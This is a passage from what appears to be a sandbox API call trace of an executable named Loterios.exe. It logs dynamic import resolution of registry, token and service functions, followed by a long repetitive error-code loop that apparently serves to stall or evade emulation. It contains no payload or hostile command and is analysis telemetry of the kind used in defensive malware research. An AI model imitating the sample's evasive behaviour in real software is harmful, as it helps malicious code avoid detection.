lpProcName="GetSystemTimeAsFileTime") returned 0x74575530 [0226.449] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiW") returned 0x74576bf0 [0226.449] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileW") returned 0x745ae500 [0226.449] GetProcAddress (hModule=0x74560000, lpProcName="SetFileAttributesW") returned 0x745cf100 [0226.449] GetProcAddress (hModule=0x74560000, lpProcName="LocalAlloc") returned 0x74575b20 [0226.449] GetProcAddress (hModule=0x74560000, lpProcName="GetLocalTime") returned 0x74575060 [0226.449] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyW") returned 0x745b7140 [0226.449] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryW") returned 0x745cece0 [0226.450] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0226.450] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0226.450] GetProcAddress (hModule=0x74560000, lpProcName="GetLastError") returned 0x74575010 [0226.450] GetProcAddress (hModule=0x74560000, lpProcName="CreateEventA") returned 0x745ceb00 [0226.450] GetProcAddress (hModule=0x74560000, lpProcName="SleepEx") returned 0x745cec70 [0226.450] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0226.450] GetProcAddress (hModule=0x74560000, lpProcName="FreeLibrary") returned 0x74574c40 [0226.450] GetProcAddress (hModule=0x74560000, lpProcName="GetDriveTypeW") returned 0x745ceed0 [0226.451] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenA") returned 0x74576c50 [0226.451] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpA") returned 0x74576b90 [0226.451] GetProcAddress (hModule=0x74560000, lpProcName="GetCommandLineW") returned 0x74574cc0 [0226.451] GetProcAddress (hModule=0x74560000, lpProcName="ExitProcess") returned 0x74573cb0 [0226.451] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpynW") returned 0x74576c30 [0226.451] GetProcAddress (hModule=0x74560000, lpProcName="Sleep") returned 0x74576760 [0226.451] GetProcAddress (hModule=0x74560000, lpProcName="SystemTimeToFileTime") returned 0x745767a0 [0226.495] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTime") returned 0x745754e0 [0226.495] GetProcAddress (hModule=0x74560000, lpProcName="GetWindowsDirectoryW") returned 0x74575730 [0226.496] GetProcAddress (hModule=0x74560000, lpProcName="TerminateThread") returned 0x74576800 [0226.496] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0226.496] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76850000 [0226.496] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffA") returned 0x768c7650 [0226.496] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0226.496] GetProcAddress (hModule=0x76850000, lpProcName="GetClassNameA") returned 0x7686ba80 [0226.496] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffW") returned 0x768c7670 [0226.496] GetProcAddress (hModule=0x76850000, lpProcName="GetSystemMetrics") returned 0x7687ddc0 [0226.497] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0226.497] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77230000 [0226.497] GetProcAddress (hModule=0x77230000, lpProcName="SetSecurityDescriptorDacl") returned 0x7724f6c0 [0226.497] GetProcAddress (hModule=0x77230000, lpProcName="InitializeSecurityDescriptor") returned 0x7724f870 [0226.497] GetProcAddress (hModule=0x77230000, lpProcName="GetTokenInformation") returned 0x7724ee90 [0226.497] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthorityCount") returned 0x7724f420 [0226.497] GetProcAddress (hModule=0x77230000, lpProcName="OpenThreadToken") returned 0x7724eeb0 [0226.497] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueW") returned 0x77250580 [0226.498] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyW") returned 0x7724f270 [0226.498] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthority") returned 0x7724f230 [0226.498] GetProcAddress (hModule=0x77230000, lpProcName="OpenProcessToken") returned 0x7724efb0 [0226.498] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0226.498] GetProcAddress (hModule=0x77230000, lpProcName="RegUnLoadKeyW") returned 0x77263af0 [0226.498] GetProcAddress (hModule=0x77230000, lpProcName="RegLoadKeyW") returned 0x77263990 [0226.498] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0226.499] GetProcAddress (hModule=0x77230000, lpProcName="EqualSid") returned 0x7724ffe0 [0226.499] GetProcAddress (hModule=0x77230000, lpProcName="SetServiceStatus") returned 0x77250650 [0226.499] GetProcAddress (hModule=0x77230000, lpProcName="RegisterServiceCtrlHandlerA") returned 0x77263b10 [0226.499] GetProcAddress (hModule=0x77230000, lpProcName="StartServiceCtrlDispatcherA") returned 0x77253b60 [0226.499] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountNameW") returned 0x7724f290 [0226.499] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExW") returned 0x7724e5a0 [0226.499] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExW") returned 0x7724f530 [0226.500] GetProcAddress (hModule=0x77230000, lpProcName="ConvertSidToStringSidW") returned 0x7724ed80 [0226.500] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExW") returned 0x7724e580 [0226.500] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueW") returned 0x7724f250 [0226.500] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0226.500] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x74360000 [0226.500] GetProcAddress (hModule=0x74360000, lpProcName="memcpy") returned 0x743e7b70 [0226.500] GetProcAddress (hModule=0x74360000, lpProcName="memset") returned 0x743e8360 [0226.500] GetProcAddress (hModule=0x74360000, lpProcName="_ltoa") returned 0x74390600 [0226.501] GetProcAddress (hModule=0x74360000, lpProcName="_vsnwprintf") returned 0x743d5fb0 [0226.501] GetProcAddress (hModule=0x74360000, lpProcName="_vsnprintf") returned 0x743d5b40 [0226.501] GetProcAddress (hModule=0x74360000, lpProcName="_except_handler3") returned 0x743b7d94 [0226.506] GetCurrentThreadId () returned 0x13d0 [0226.506] lstrcmpA (lpString1="X=s+0", lpString2=">D_zN@") returned 1 [0226.510] VirtualFree (lpAddress=0x520000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0226.512] GetCommandLineW () returned="\"C:\\BlotRots\\Loterios.exe\" " [0226.513] CommandLineToArgvW (in: lpCmdLine="\"C:\\BlotRots\\Loterios.exe\" ", pNumArgs=0x19ff78 | out: pNumArgs=0x19ff78) returned 0x7115d8*="C:\\BlotRots\\Loterios.exe" [0226.513] HeapCreate (flOptions=0x0, dwInitialSize=0x80000, dwMaximumSize=0x0) returned 0x2180000 [0226.516] SetLastError (dwErrCode=0x5) [0226.516] GetLastError () returned 0x5 [0226.516] GetCurrentThread () returned 0xfffffffe [0226.516] SetLastError (dwErrCode=0x9) [0226.516] GetLastError () returned 0x9 [0226.516] GetCurrentThread () returned 0xfffffffe [0226.516] SetLastError (dwErrCode=0xd) [0226.516] GetLastError () returned 0xd [0226.516] GetCurrentThread () returned 0xfffffffe [0226.516] SetLastError (dwErrCode=0x11) [0226.516] GetLastError () returned 0x11 [0226.516] GetCurrentThread () returned 0xfffffffe [0226.516] SetLastError (dwErrCode=0x15) [0226.516] GetLastError () returned 0x15 [0226.516] GetCurrentThread () returned 0xfffffffe [0226.516] SetLastError (dwErrCode=0x19) [0226.516] GetLastError () returned 0x19 [0226.516] GetCurrentThread () returned 0xfffffffe [0226.516] SetLastError (dwErrCode=0x1d) [0226.516] GetLastError () returned 0x1d [0226.516] GetCurrentThread () returned 0xfffffffe [0226.516] SetLastError (dwErrCode=0x21) [0226.516] GetLastError () returned 0x21 [0226.516] GetCurrentThread () returned 0xfffffffe [0226.516] SetLastError (dwErrCode=0x25) [0226.516] GetLastError () returned 0x25 [0226.516] GetCurrentThread () returned 0xfffffffe [0226.516] SetLastError (dwErrCode=0x29) [0226.516] GetLastError () returned 0x29 [0226.516] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x2d) [0226.517] GetLastError () returned 0x2d [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x31) [0226.517] GetLastError () returned 0x31 [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x35) [0226.517] GetLastError () returned 0x35 [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x39) [0226.517] GetLastError () returned 0x39 [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x3d) [0226.517] GetLastError () returned 0x3d [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x41) [0226.517] GetLastError () returned 0x41 [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x45) [0226.517] GetLastError () returned 0x45 [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x49) [0226.517] GetLastError () returned 0x49 [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x4d) [0226.517] GetLastError () returned 0x4d [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x51) [0226.517] GetLastError () returned 0x51 [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x55) [0226.517] GetLastError () returned 0x55 [0226.517] GetCurrentThread () returned 0xfffffffe [0226.517] SetLastError (dwErrCode=0x59) [0226.517] GetLastError () returned 0x59 [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x5d) [0226.518] GetLastError () returned 0x5d [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x61) [0226.518] GetLastError () returned 0x61 [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x65) [0226.518] GetLastError () returned 0x65 [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x69) [0226.518] GetLastError () returned 0x69 [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x6d) [0226.518] GetLastError () returned 0x6d [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x71) [0226.518] GetLastError () returned 0x71 [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x75) [0226.518] GetLastError () returned 0x75 [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x79) [0226.518] GetLastError () returned 0x79 [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x7d) [0226.518] GetLastError () returned 0x7d [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x81) [0226.518] GetLastError () returned 0x81 [0226.518] GetCurrentThread () returned 0xfffffffe [0226.518] SetLastError (dwErrCode=0x85) [0226.518] GetLastError () returned 0x85 [0226.518] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0x89) [0226.519] GetLastError () returned 0x89 [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0x8d) [0226.519] GetLastError () returned 0x8d [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0x91) [0226.519] GetLastError () returned 0x91 [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0x95) [0226.519] GetLastError () returned 0x95 [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0x99) [0226.519] GetLastError () returned 0x99 [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0x9d) [0226.519] GetLastError () returned 0x9d [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0xa1) [0226.519] GetLastError () returned 0xa1 [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0xa5) [0226.519] GetLastError () returned 0xa5 [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0xa9) [0226.519] GetLastError () returned 0xa9 [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0xad) [0226.519] GetLastError () returned 0xad [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0xb1) [0226.519] GetLastError () returned 0xb1 [0226.519] GetCurrentThread () returned 0xfffffffe [0226.519] SetLastError (dwErrCode=0xb5) [0226.519] GetLastError () returned 0xb5 [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xb9) [0226.520] GetLastError () returned 0xb9 [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xbd) [0226.520] GetLastError () returned 0xbd [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xc1) [0226.520] GetLastError () returned 0xc1 [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xc5) [0226.520] GetLastError () returned 0xc5 [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xc9) [0226.520] GetLastError () returned 0xc9 [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xcd) [0226.520] GetLastError () returned 0xcd [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xd1) [0226.520] GetLastError () returned 0xd1 [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xd5) [0226.520] GetLastError () returned 0xd5 [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xd9) [0226.520] GetLastError () returned 0xd9 [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xdd) [0226.520] GetLastError () returned 0xdd [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xe1) [0226.520] GetLastError () returned 0xe1 [0226.520] GetCurrentThread () returned 0xfffffffe [0226.520] SetLastError (dwErrCode=0xe5) [0226.521] GetLastError () returned 0xe5 [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0xe9) [0226.521] GetLastError () returned 0xe9 [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0xed) [0226.521] GetLastError () returned 0xed [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0xf1) [0226.521] GetLastError () returned 0xf1 [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0xf5) [0226.521] GetLastError () returned 0xf5 [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0xf9) [0226.521] GetLastError () returned 0xf9 [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0xfd) [0226.521] GetLastError () returned 0xfd [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0x101) [0226.521] GetLastError () returned 0x101 [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0x105) [0226.521] GetLastError () returned 0x105 [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0x109) [0226.521] GetLastError () returned 0x109 [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0x10d) [0226.521] GetLastError () returned 0x10d [0226.521] GetCurrentThread () returned 0xfffffffe [0226.521] SetLastError (dwErrCode=0x111) [0226.521] GetLastError () returned 0x111 [0226.521] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x115) [0226.522] GetLastError () returned 0x115 [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x119) [0226.522] GetLastError () returned 0x119 [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x11d) [0226.522] GetLastError () returned 0x11d [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x121) [0226.522] GetLastError () returned 0x121 [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x125) [0226.522] GetLastError () returned 0x125 [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x129) [0226.522] GetLastError () returned 0x129 [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x12d) [0226.522] GetLastError () returned 0x12d [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x131) [0226.522] GetLastError () returned 0x131 [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x135) [0226.522] GetLastError () returned 0x135 [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x139) [0226.522] GetLastError () returned 0x139 [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x13d) [0226.522] GetLastError () returned 0x13d [0226.522] GetCurrentThread () returned 0xfffffffe [0226.522] SetLastError (dwErrCode=0x141) [0226.522] GetLastError () returned 0x141 [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x145) [0226.523] GetLastError () returned 0x145 [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x149) [0226.523] GetLastError () returned 0x149 [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x14d) [0226.523] GetLastError () returned 0x14d [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x151) [0226.523] GetLastError () returned 0x151 [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x155) [0226.523] GetLastError () returned 0x155 [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x159) [0226.523] GetLastError () returned 0x159 [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x15d) [0226.523] GetLastError () returned 0x15d [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x161) [0226.523] GetLastError () returned 0x161 [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x165) [0226.523] GetLastError () returned 0x165 [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x169) [0226.523] GetLastError () returned 0x169 [0226.523] GetCurrentThread () returned 0xfffffffe [0226.523] SetLastError (dwErrCode=0x16d) [0226.523] GetLastError () returned 0x16d [0226.523] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x171) [0226.524] GetLastError () returned 0x171 [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x175) [0226.524] GetLastError () returned 0x175 [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x179) [0226.524] GetLastError () returned 0x179 [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x17d) [0226.524] GetLastError () returned 0x17d [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x181) [0226.524] GetLastError () returned 0x181 [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x185) [0226.524] GetLastError () returned 0x185 [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x189) [0226.524] GetLastError () returned 0x189 [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x18d) [0226.524] GetLastError () returned 0x18d [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x191) [0226.524] GetLastError () returned 0x191 [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x195) [0226.524] GetLastError () returned 0x195 [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x199) [0226.524] GetLastError () returned 0x199 [0226.524] GetCurrentThread () returned 0xfffffffe [0226.524] SetLastError (dwErrCode=0x19d) [0226.524] GetLastError () returned 0x19d [0226.524] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1a1) [0226.525] GetLastError () returned 0x1a1 [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1a5) [0226.525] GetLastError () returned 0x1a5 [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1a9) [0226.525] GetLastError () returned 0x1a9 [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1ad) [0226.525] GetLastError () returned 0x1ad [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1b1) [0226.525] GetLastError () returned 0x1b1 [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1b5) [0226.525] GetLastError () returned 0x1b5 [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1b9) [0226.525] GetLastError () returned 0x1b9 [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1bd) [0226.525] GetLastError () returned 0x1bd [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1c1) [0226.525] GetLastError () returned 0x1c1 [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1c5) [0226.525] GetLastError () returned 0x1c5 [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1c9) [0226.525] GetLastError () returned 0x1c9 [0226.525] GetCurrentThread () returned 0xfffffffe [0226.525] SetLastError (dwErrCode=0x1cd) [0226.525] GetLastError () returned 0x1cd [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1d1) [0226.526] GetLastError () returned 0x1d1 [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1d5) [0226.526] GetLastError () returned 0x1d5 [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1d9) [0226.526] GetLastError () returned 0x1d9 [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1dd) [0226.526] GetLastError () returned 0x1dd [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1e1) [0226.526] GetLastError () returned 0x1e1 [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1e5) [0226.526] GetLastError () returned 0x1e5 [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1e9) [0226.526] GetLastError () returned 0x1e9 [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1ed) [0226.526] GetLastError () returned 0x1ed [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1f1) [0226.526] GetLastError () returned 0x1f1 [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1f5) [0226.526] GetLastError () returned 0x1f5 [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1f9) [0226.526] GetLastError () returned 0x1f9 [0226.526] GetCurrentThread () returned 0xfffffffe [0226.526] SetLastError (dwErrCode=0x1fd) [0226.527] GetLastError () returned 0x1fd [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x201) [0226.527] GetLastError () returned 0x201 [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x205) [0226.527] GetLastError () returned 0x205 [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x209) [0226.527] GetLastError () returned 0x209 [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x20d) [0226.527] GetLastError () returned 0x20d [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x211) [0226.527] GetLastError () returned 0x211 [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x215) [0226.527] GetLastError () returned 0x215 [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x219) [0226.527] GetLastError () returned 0x219 [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x21d) [0226.527] GetLastError () returned 0x21d [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x221) [0226.527] GetLastError () returned 0x221 [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x225) [0226.527] GetLastError () returned 0x225 [0226.527] GetCurrentThread () returned 0xfffffffe [0226.527] SetLastError (dwErrCode=0x229) [0226.527] GetLastError () returned 0x229 [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x22d) [0226.528] GetLastError () returned 0x22d [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x231) [0226.528] GetLastError () returned 0x231 [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x235) [0226.528] GetLastError () returned 0x235 [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x239) [0226.528] GetLastError () returned 0x239 [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x23d) [0226.528] GetLastError () returned 0x23d [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x241) [0226.528] GetLastError () returned 0x241 [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x245) [0226.528] GetLastError () returned 0x245 [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x249) [0226.528] GetLastError () returned 0x249 [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x24d) [0226.528] GetLastError () returned 0x24d [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x251) [0226.528] GetLastError () returned 0x251 [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x255) [0226.528] GetLastError () returned 0x255 [0226.528] GetCurrentThread () returned 0xfffffffe [0226.528] SetLastError (dwErrCode=0x259) [0226.528] GetLastError () returned 0x259 [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x25d) [0226.529] GetLastError () returned 0x25d [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x261) [0226.529] GetLastError () returned 0x261 [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x265) [0226.529] GetLastError () returned 0x265 [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x269) [0226.529] GetLastError () returned 0x269 [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x26d) [0226.529] GetLastError () returned 0x26d [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x271) [0226.529] GetLastError () returned 0x271 [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x275) [0226.529] GetLastError () returned 0x275 [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x279) [0226.529] GetLastError () returned 0x279 [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x27d) [0226.529] GetLastError () returned 0x27d [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x281) [0226.529] GetLastError () returned 0x281 [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x285) [0226.529] GetLastError () returned 0x285 [0226.529] GetCurrentThread () returned 0xfffffffe [0226.529] SetLastError (dwErrCode=0x289) [0226.530] GetLastError () returned 0x289 [0226.530] GetCurrentThread () returned 0xfffffffe [0226.530] SetLastError (dwErrCode=0x28d) [0226.530] GetLastError () returned 0x28d [0226.530] GetCurrentThread () returned 0xfffffffe [0226.530] SetLastError (dwErrCode=0x291) [0226.530] GetLastError () returned 0x291 [0226.530] GetCurrentThread () returned 0xfffffffe [0226.530] SetLastError (dwErrCode=0x295) [0226.530] GetLastError () returned 0x295 [0226.530] GetCurrentThread () returned 0xfffffffe [0226.530] SetLastError (dwErrCode=0x299) [0226.530] GetLastError () returned 0x299 [0226.530] GetCurrentThread () returned 0xfffffffe [0226.530] SetLastError (dwErrCode=0x29d) [0226.530] GetLastError () returned 0x29d [0226.530] GetCurrentThread () returned 0xfffffffe [0226.530] SetLastError (dwErrCode=0x2a1) [0226.530] GetLastError () returned 0x2a1 [0226.530] GetCurrentThread () returned 0xfffffffe [0226.530] SetLastError (dwErrCode=0x2a5) [0226.530] GetLastError () returned 0x2a5 [0226.530] GetCurrentThread () returned 0xfffffffe 